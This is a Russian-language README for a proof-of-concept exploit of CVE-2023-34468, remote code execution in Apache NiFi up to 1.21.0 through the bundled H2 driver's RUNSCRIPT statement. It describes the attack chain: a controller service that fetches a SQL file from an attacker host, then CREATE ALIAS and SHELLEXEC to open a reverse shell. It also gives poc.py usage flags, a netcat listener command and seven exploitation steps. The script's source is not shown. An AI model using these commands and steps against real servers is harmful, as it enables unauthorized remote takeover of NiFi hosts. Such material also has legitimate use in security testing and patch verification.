
PoC-эксплойт для CVE-2023-34468 — RCE через H2 RUNSCRIPT в Apache NiFi <= 1.21.0
Удалённое выполнение кода через H2 Database RUNSCRIPT в Apache NiFi <= 1.21.0
Apache NiFi по умолчанию поставляется с JAR-файлом базы данных H2. Службу контроллера DBCPConnectionPool
можно настроить на использование этого драйвера H2. H2 поддерживает оператор RUNSCRIPT,
который загружает и выполняет SQL-файл с удалённого URL. Этот SQL-файл может определять
произвольный Java-код через CREATE ALIAS и выполнять его в ОС сервера.
Цепочка атаки:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Version |
|---|
| Apache NiFi | <= 1.21.0 |
| Fixed in | 1.21.1+ |
| Java | Any (bundled) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argument | Default | Description |
|---|---|---|
--target | http://NiFi.target.com | Target NiFi base URL |
--lhost | 10.10.10.10 | Your IP (tun0) |
--lport | 4444 | Reverse shell listener port |
--http-port | 80 | Port to serve rce.sql |
--cleanup | False | Delete created artifacts after run |
Терминал 1 — слушатель:
nc -lvnp 4444
Терминал 2 — эксплуатация:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)